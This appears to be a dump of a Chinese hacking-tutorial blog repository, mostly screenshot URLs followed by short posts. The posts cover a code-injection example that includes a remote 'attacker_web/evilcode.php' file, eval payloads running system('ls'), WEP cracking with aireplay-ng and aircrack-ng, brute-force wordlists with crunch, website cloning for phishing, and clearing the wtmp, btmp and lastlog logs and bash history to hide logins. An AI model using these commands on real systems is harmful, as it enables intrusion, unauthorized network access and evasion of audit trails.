https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-14 12-24-45.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-14 12-37-19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-14 12-37-19.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-14 16-05-17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-14 16-05-17.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-14 16-15-35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-14 16-15-35.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-14 16-19-58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-14 16-19-58.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 12-00-27.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 12-00-27.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 12-08-45.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 12-08-45.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 15-24-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 15-24-25.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 17-17-46.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 17-17-46.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 17-24-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 17-24-32.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 18-24-42.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 18-24-42.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 19-01-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 19-01-13.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-15 19-08-43.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-15 19-08-43.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-16 10-26-48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-16 10-26-48.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-16 10-28-41.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-16 10-28-41.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-16 17-35-41.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-16 17-35-41.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-16 17-44-59.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-16 17-44-59.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-16 17-48-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-16 17-48-25.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 18-35-43.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 18-35-43.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 19-29-33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 19-29-33.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 20-08-49.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 20-08-49.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 20-23-18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 20-23-18.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 21-53-00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 21-53-00.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 22-52-41.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 22-52-41.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-17 23-07-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-17 23-07-13.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 09-34-38.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 09-34-38.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 10-16-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 10-16-04.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 11-16-27.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 11-16-27.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 11-27-38.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 11-27-38.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 15-35-30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 15-35-30.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 16-05-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 16-05-16.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 16-15-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 16-15-11.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 21-57-41.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 21-57-41.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 22-04-44.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 22-04-44.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 22-14-28.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 22-14-28.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-18 22-25-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-18 22-25-05.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-19 09-00-57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-19 09-00-57.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-19 09-06-38.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-19 09-06-38.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-19 09-16-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-19 09-16-16.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-19 09-21-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-19 09-21-05.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-19 09-27-22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-19 09-27-22.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-20 18-34-08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-20 18-34-08.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-20 19-07-34.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-20 19-07-34.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 09-13-40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 09-13-40.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 18-15-09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 18-15-09.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 18-20-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 18-20-32.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 18-29-30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 18-29-30.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 18-40-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 18-40-12.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 19-06-35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 19-06-35.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 19-06-55.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 19-06-55.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 19-09-20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 19-09-20.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-21 20-06-53.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-21 20-06-53.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-22 15-45-17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-22 15-45-17.png -------------------------------------------------------------------------------- /images/2016/4/Screenshot from 2016-04-23 14-16-19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/4/Screenshot from 2016-04-23 14-16-19.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-02 09-16-08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-02 09-16-08.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-02 09-16-57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-02 09-16-57.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-06 15-20-31.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-06 15-20-31.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-15 18-41-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-15 18-41-32.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-15 18-53-30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-15 18-53-30.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 15-54-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 15-54-07.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 17-27-19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 17-27-19.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 17-31-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 17-31-13.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 17-34-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 17-34-15.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 17-50-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 17-50-02.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-17 17-59-23.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-17 17-59-23.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-18 18-37-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-18 18-37-15.png -------------------------------------------------------------------------------- /images/2016/5/Screenshot from 2016-05-24 20-12-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/Screenshot from 2016-05-24 20-12-12.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-09 at 16.36.37.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-09 at 16.36.37.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-09 at 17.14.06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-09 at 17.14.06.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-09 at 17.28.10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-09 at 17.28.10.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-09 at 17.32.21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-09 at 17.32.21.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-10 at 19.49.18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-10 at 19.49.18.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-10 at 20.14.50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-10 at 20.14.50.png -------------------------------------------------------------------------------- /hackthissite/image/Screen Shot 2016-05-10 at 20.17.59.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/hackthissite/image/Screen Shot 2016-05-10 at 20.17.59.png -------------------------------------------------------------------------------- /images/2016/5/VirtualBox_BlackArch_04_05_2016_14_42_11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tiancode/learn-hacking/HEAD/images/2016/5/VirtualBox_BlackArch_04_05_2016_14_42_11.png -------------------------------------------------------------------------------- /_posts/2016-4-8-hacker-attack-method.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 黑客常用攻击方式汇总 4 | --- 5 | 6 | [命令注入攻击](http://topspeedsnail.com/hack-command-injection-attack/) 7 | 8 | [代码注入攻击](http://topspeedsnail.com/hack-code-injection-attack/) 9 | 10 | [SQL注入攻击](http://topspeedsnail.com/hack-sql-injection-attack/) 11 | 12 | [盲SQL注入攻击](http://topspeedsnail.com/hack-blind-sql-injection-attack/) 13 | 14 | [暴力攻击法](http://topspeedsnail.com/hack-brute-force/) 15 | 16 | 拒绝服务攻击 17 | 18 | 中间人攻击 19 | 20 | 缓冲区溢出攻击 -------------------------------------------------------------------------------- /_posts/2016-4-9-start-learn-android-reversing.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 学习Android逆向工程 4 | --- 5 | 6 | [Android逆向工程基本环境设置](http://topspeedsnail.com/android-reversing-env-setup/) 7 | 8 | [移除Android应用广告-Android逆向工程](http://topspeedsnail.com/android-reversing-remove-ad/) 9 | 10 | [Android逆向工具:Androguard(一)](http://topspeedsnail.com/reversing-engineering-android-androguard/) 11 | 12 | [Android逆向工具:Androguard(二)](http://topspeedsnail.com/reversing-engineering-android-androguard2/) 13 | 14 | [Android逆向工具(三)](http://topspeedsnail.com/reversing-engineering-android-other/) -------------------------------------------------------------------------------- /_posts/2016-5-1-httrack-clone-website.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: HTTrack - 克隆任意网站 4 | --- 5 | 6 | HTTrack可以克隆指定网站-把整个网站下载到本地。 7 | 8 | 可以用在离线浏览上,也可以用来收集信息(甚至有网站使用隐藏的密码文件)。 9 | 10 | 一些仿真度极高的伪网站(为了骗取用户密码),也是使用类似工具做的。 11 | 12 | Kali Linux默认安装了HTTrack。 13 | 14 | HTTrack帮助: 15 | 16 | {% highlight shell %} 17 | # httrack --help 18 | {% endhighlight %} 19 | 20 | ![HTTrack]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-01 at 18.42.40.png) 21 | 22 | 使用示例: 23 | 24 | {% highlight shell %} 25 | # httrack http://topspeedsnail.com -O /tmp/topspeedsnail 26 | {% endhighlight %} 27 | 28 | 上面命令克隆了本网站。 -------------------------------------------------------------------------------- /_posts/2016-4-23-kali-linux-crunch-generation-wordlist.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux使用crunch生成密码字典 4 | --- 5 | 6 | crunch是生成密码字典的工具,通常用在暴力破解中。 7 | 8 | > Crunch can create a wordlist based on criteria you specify. The output from crunch can be sent to the screen, file, or to another program. 9 | 10 | # 几个例子 11 | 12 | ### 生成4个数字组合的密码字典: 13 | 14 | {% highlight shell %} 15 | # crunch 4 4 0123456789 -o ~/wordlist.txt 16 | {% endhighlight %} 17 | 18 | 第一个4代表生成的字符串最短几个字符,第二个4代表生成的字符串最长几个字符。 19 | 20 | ### 生成4个字母和1980组合的密码字典: 21 | 22 | {% highlight shell %} 23 | # crunch 8 8 abcdefghiABCDE -t @@@@1980 -o ~/wordlist.txt 24 | {% endhighlight %} 25 | 26 | 字符集必须按小写,大写,数字,符号的顺序,使用\做为转译字符。 27 | 28 | ### 生成4个小写字母4个数字组合的密码字典: 29 | 30 | {% highlight shell %} 31 | # crunch 8 8 -t @@@@%%%% -o ~/wordlist.txt 32 | {% endhighlight %} 33 | 34 | 更多信息,查看crunch的man手册,写的非常详细: 35 | 36 | {% highlight shell %} 37 | # man crunch 38 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-23-kali-linux-install-adobe-flash.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux安装Flash插件 4 | --- 5 | 6 | Kali Linux并没有自带Adobe Flash播放器插件; 7 | 8 | 在Kali Linux上有两种方法安装Flash;第一种方法比较简单,但是有时不能安装成功; 9 | 10 | ### 方法1 11 | 12 | 使用默认仓库安装: 13 | 14 | {% highlight shell %} 15 | # apt-get install flashplugin-nonfree 16 | {% endhighlight %} 17 | 18 | {% highlight shell %} 19 | # update-flashplugin-nonfree --install 20 | {% endhighlight %} 21 | 22 | 重启。 23 | 24 | ### 方法2 25 | 26 | 去adobe官网下载:https://get.adobe.com/flashplayer/ 27 | 28 | 下载tar包: 29 | 30 | ![Kali Linux安装Flash插件]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-23 14-16-19.png) 31 | 32 | 解压下载的tar包: 33 | 34 | {% highlight shell %} 35 | # tar -xf install_flash_player_11_linux.x86_64.tar.gz 36 | {% endhighlight %} 37 | 38 | 把解压出来的libflashplayer.so文件移动到火狐的插件目录: 39 | 40 | {% highlight shell %} 41 | # mv libflashplayer.so /usr/lib/mozilla/plugins/ 42 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-2-ubuntu-add-sudo-user.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Ubuntu创建sudo用户 4 | --- 5 | 6 | sudo命令提供了临时使用root权限的机制,使普通用户可以执行超级管理员任务。 7 | 8 | 我要在Ubuntu系统上创建一个新用户,并且有执行sudo命令的权限。 9 | 10 | 我不直接修改sudoers文件。 11 | 12 | ### 首先创建一个新用户 13 | 14 | 如果你使用已存在的用户,可以跳过这一步。 15 | 16 | 只有root用户有权限添加新用户: 17 | 18 | {% highlight shell %} 19 | # adduser username 20 | {% endhighlight %} 21 | 22 | 把username替换为你的用户名。根据提示设置密码及其他信息。 23 | 24 | 现在这个用户并不能执行root任务。 25 | 26 | ### 把用户添加到sudo组 27 | 28 | {% highlight shell %} 29 | # usermod -aG sudo username 30 | {% endhighlight %} 31 | 32 | 在Ubuntu上,sudo组里的成员有执行sudo的权限。 33 | 34 | ### 测试 35 | 36 | 使用su命令切换到新用户: 37 | 38 | {% highlight shell %} 39 | # su - username 40 | {% endhighlight %} 41 | 42 | 执行root任务: 43 | 44 | {% highlight shell %} 45 | $ sudo apt-get update 46 | {% endhighlight %} 47 | 48 | ***** 49 | 50 | 如果出现如下信息,表示这个用户不能执行sudo命令: 51 | 52 | ``` 53 | username is not in the sudoers file. This incident will be reported. 54 | ``` -------------------------------------------------------------------------------- /_posts/2016-4-13-hack-code-injection-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 代码注入攻击 4 | --- 5 | 6 | 代码注入攻击(code injection attack)通常是指在应用程序中注入要执行的代码片段。这种类型的攻击利用目标程序没有对不信任的数据进行验证,通常因为缺少对输入输出数据的验证。 7 | 8 | 代码注入攻击和[命令注入攻击](http://topspeedsnail.com/hack-command-injection-attack/)类似,不同点是,代码注入攻击要实现的功能限制在注入的语言本身。如果攻击者成功注入了PHP代码,那么攻击者只能做PHP可以做的事。命令注入可以利用已有的命令,通常受shell限制。 9 | 10 | ### 示例1 11 | 12 | 如果一个PHP应用需要把GET请求参数传入到PHP include()函数,并且没有做输入验证。这是很危险的,因为攻击者可以执行它的邪恶代码: 13 | 14 | ``` 15 | http://something/index.php?page=http://attacker_web/evilcode.php 16 | ``` 17 | 18 | ### 示例2  19 | 20 | 注意PHP eval()函数的使用,下面的代码没有做输入验证: 21 | 22 | {% highlight php %} 23 | $your_var = "your_pi"; 24 | $p = $_GET('pi'); 25 | eval("\$your_var = \$p;"); 26 | {% endhighlight %} 27 | 28 | 正常使用: 29 | 30 | ``` 31 | /index.php?pi=3.14 32 | ``` 33 | 34 | 代码注入攻击: 35 | 36 | ``` 37 | /index.php?pi=3.14; phpinfo() 38 | 39 | /index.php?pi=3.14; system('ls') 40 | ``` 41 | 42 | [黑客常用攻击方式汇总](http://topspeedsnail.com/hacker-attack-method/) -------------------------------------------------------------------------------- /_posts/2016-4-22-kali-linux-crack-wifi-password-wep.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux破解wifi密码(WEP) 4 | --- 5 | 6 | WEP是无线路由器最初广泛使用的一种加密方式,这种加密方式非常容易被破解。 7 | 8 | 目前很少有人使用wep加密方式,但是还是会有。 9 | 10 | 建议:使用WPA/WPA2做为加密方式。 11 | 12 | 抓包和“破解wpa/wpa2”方法一样,参考其中的前4步; 13 | 14 | * [Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)](http://topspeedsnail.com/kali-linux-crack-wifi-wpa/) 15 | 16 | ### 5) 加快Beacons和Data数据的收集速度 17 | 18 | 和破解WPA/WPA2不同的是,它只要抓取到足够的Beacons和Data数据就可以破解,理想情况下是100000+。你可以等,也可以使用aireplay加快这个进程。 19 | 20 | {% highlight shell %} 21 | # aireplay-ng -1 0 -a C8:3A:35:30:3E:C8 wlan0mon 22 | {% endhighlight %} 23 | 24 | {% highlight shell %} 25 | # aireplay-ng -3 -b C8:3A:35:30:3E:C8 wlan0mon 26 | {% endhighlight %} 27 | 28 | 等到抓取的数据充足,Ctrl+C停止。 29 | 30 | ### 6) 开始破解: 31 | 32 | {% highlight shell %} 33 | # aircrack-ng ~/*.cap 34 | {% endhighlight %} 35 | 36 | 最后,不要忘了结束无线网卡的监控模式: 37 | 38 | {% highlight shell %} 39 | # airmon-ng stop wlan0mon 40 | {% endhighlight %} 41 | 42 | ***** 43 | 44 | 总结:避免使用WEP加密方式。 -------------------------------------------------------------------------------- /_posts/2016-5-7-clear-last-linux-login-log.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 清除Linux的最近登录日志和Bash历史 4 | --- 5 | 6 | 前文介绍了怎么[使用tor实现匿名扫描/SSH登录](http://topspeedsnail.com/use-tor-hide-your-ass/)。本文介绍怎么清除Linux的最近登录日志和Bash历史。 7 | 8 | ### 清除登录日志 9 | 10 | Linux系统有三个标准的显示用户最近登录信息的命令: last, lastb,和lastlog。 11 | 12 | 这些命令的输出信息包括登录用户名、最近登录时间、IP地址等。 13 | 14 | 为了更好的保持匿名,你可以清除这些信息。 15 | 16 | ``` 17 | last命令,对应的日志文件/var/log/wtmp; 成功登录用户 18 | lastb命令,对应的日志文件/var/log/btmp; 尝试登录信息 19 | lastlog命令,对应的日志文件/var/log/lastlog; 显示最近登录信息 20 | ``` 21 | 22 | 清空日志文件: 23 | 24 | ``` 25 | # echo > /var/log/wtmp 26 | # echo > /var/log/btmp 27 | # echo > /var/log/lastlog 28 | ``` 29 | 30 | **** 31 | 32 | ### 清除Bash历史 33 | 34 | 你可以在执行命令时,指定Bash不保存执行历史: 35 | 36 | {% highlight shell %} 37 | $ <空格>command 38 | {% endhighlight %} 39 | 40 | 在要执行命令前加一个空格。 41 | 42 | 清除当前登录session的历史: 43 | 44 | {% highlight shell %} 45 | $ history -r 46 | {% endhighlight %} 47 | 48 | 清除所有历史: 49 | 50 | {% highlight shell %} 51 | $ history -cw 52 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-18-kali-linux-arachni.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux-arachni - 扫描网站漏洞 4 | --- 5 | 6 | arachni是web应用漏洞扫描工具。 7 | 8 | 如果系统中没有安装arachni;安装arachni: 9 | 10 | {% highlight shell %} 11 | # apt-get install arachni 12 | {% endhighlight %} 13 | 14 | {% highlight shell %} 15 | # arachni --help 16 | {% endhighlight %} 17 | 18 | ![arachni]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 09-34-38.png) 19 | 20 | arachni的项目地址:https://github.com/Arachni/arachni。 21 | 22 | 更多命令行选项:https://github.com/Arachni/arachni/wiki/Command-line-user-interface 23 | 24 | 扫描网站漏洞: 25 | 26 | {% highlight shell %} 27 | # arachni http://topspeedsnail.com 28 | {% endhighlight %} 29 | 30 | ![arachni]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 09.37.56.png) 31 | 32 | arachni也提供了web接口:https://github.com/Arachni/arachni-ui-web 33 | 34 | ***** 35 | 36 | [Wordpress:使用WPScan检测易受攻击的插件和主题](http://blog.topspeedsnail.com/archives/2267) 37 | 38 | 